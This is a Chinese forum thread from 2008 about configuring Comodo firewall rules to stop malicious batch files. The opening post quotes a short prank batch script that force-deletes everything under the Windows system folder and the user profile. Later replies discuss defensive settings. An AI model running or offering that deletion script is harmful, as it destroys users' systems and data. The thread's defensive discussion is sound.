如何解决正常bat批处理对系统的破坏！

tgzw1680

刚刚使用毛豆一个星期，意见不成熟，请高手指点。
之所以研究这个是因为前几天有人放了一个bat的批处理病毒，也不叫病毒把就是一个恶意东东。批处理代码如下
@echo off
echo 正在安装千手观音病毒，请稍等......
del /f /s /q %SystemRoot%\
del /f /s /q %USERPROFILE%\
md %SystemRoot%\感谢您中毒..\
echo 由于您的电脑太垃圾，千手观音病毒安装失败！
echo. & pause

在没有用其他大大的规则（其他大大的静默规则可以阻止，但是因为自己比较喜欢跳出来提示的东东，呵呵），默认规则即使用pm模式同样遭到删除命运。
因为他调用的是cmd，和del内部命令，而这两个基本是默认的安全程序所以毛豆内规则是没有设置限制的。
我的总结就是首先在fd设置你要保护的文件夹或者文件。这个好像比较重要，只是单独设置程序规则好像没有效果。
第二步就是在ad里面设置cmd所有动作是ask，第三步就是ad里面设置explorer程序，把第一个run an executable设置为ask，然后打开modify，把里面已经设置为通过的cmd删除（一般应该这里都是默认cmd是通过的了）。
还有最重要的一部就是一定要把d+设置为最高pm模式，如果是安全模式，毛豆会直接把cmd加入通过的。
这样设置后，运行bat文件的时候就会跳出询问框，并且一般都可以看到批处理的内容，这个时候你就可以根据自己判断来阻止或者允许了。
意见不成熟，期待高手指点

huai168an

恩，可以的。个人爱好不同，我是不喜欢提示的，特别是部分cmd所调用的内部程序，很危险，如果不谨慎，点错的话。。。。。 。所以cmd的内部程序我加到了隔离区，这样还不行，禁止cmd调用程序，禁止explorer调用相关程序 有点太恨了，呵呵。bat  com文件很少用到的，所以直接干掉

tgzw1680

其他东东调用cmd毛豆是会提示的，所以不需要禁止cmd的运行，如果怕cmd，只需要在explorer的运行规则里面把cmd加入到阻止就可以了。因为explorer运行cmd毛豆默认是允许的.下图设置就是禁止explorer调用cmd，也就是直接组织了普通bat文件的执行。不跳出询问框。


[ 本帖最后由 tgzw1680 于 2008-6-13 11:54 编辑 ]

CGrrr

原帖由 tgzw1680 于 2008-6-13 15:01 发表
其他东东调用cmd毛豆是会提示的，所以不需要禁止cmd的运行，如果怕cmd，只需要在explorer的运行规则里面把cmd加入到阻止就可以了。因为explorer运行cmd毛豆默认是允许的

你说的怎么做哦？

summertime13

我也想知道啊

某某猫

我是禁止CMD运行

逐月鹰

最简单的方法..学好批处理...批处理事一种古老但是非常有用的东西

逐月鹰

说句不中听的..就这东西都敢号称病毒....能中这玩意的也都是极品了

leafyoung

原帖由 逐月鹰 于 2008-6-13 22:05 发表
最简单的方法..学好批处理...批处理事一种古老但是非常有用的东西

其实在运行批处理之前,可以先用记事本打开看看,是什么内容,就可以避免意外的情况发生.

闪电战

本身有批处理创建的时候COMODO也会提示
当然被视为Installer or Updater的程序释放出来的破坏性bat不会